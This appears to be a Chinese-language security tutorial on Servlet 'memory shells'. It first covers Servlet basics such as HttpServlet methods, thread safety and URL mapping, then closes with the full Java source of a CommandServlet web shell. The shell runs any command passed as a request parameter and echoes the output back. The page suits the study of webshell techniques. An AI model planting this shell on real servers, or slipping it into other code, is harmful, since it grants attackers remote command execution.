--- title: Servlet 内存马 --- > [Servlet 3.1 规范 — 什么是 Servlet](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Overview/1.1%20What%20is%20a%20Servlet.md) Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。 ## HttpServlet 99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。 ```java protected void doGet(HttpServletRequest req, HttpServletResponse resp); protected void doPost(HttpServletRequest req, HttpServletResponse resp); protected void doPut(HttpServletRequest req, HttpServletResponse resp); protected void doDelete(HttpServletRequest req, HttpServletResponse resp); protected void doHead(HttpServletRequest req, HttpServletResponse resp); protected void doOptions(HttpServletRequest req, HttpServletResponse resp); protected void doTrace(HttpServletRequest req, HttpServletResponse resp); ``` Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。 针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。 ```java @WebServlet(”/foo”) public class CalculatorServlet extends HttpServlet{ //... } ``` ```xml foo org.example.CalculatorServlet foo /foo ``` ## ServletShell shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。 1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。 2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 ```java public class CommandServlet extends HttpServlet { public static String paramName; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doPost(req, resp); } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String cmd = request.getParameter(paramName); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); ServletOutputStream outputStream = response.getOutputStream(); byte[] buf = new byte[8192]; int length; while ((length = inputStream.read(buf)) != -1) { outputStream.write(buf, 0, length); } } } } ```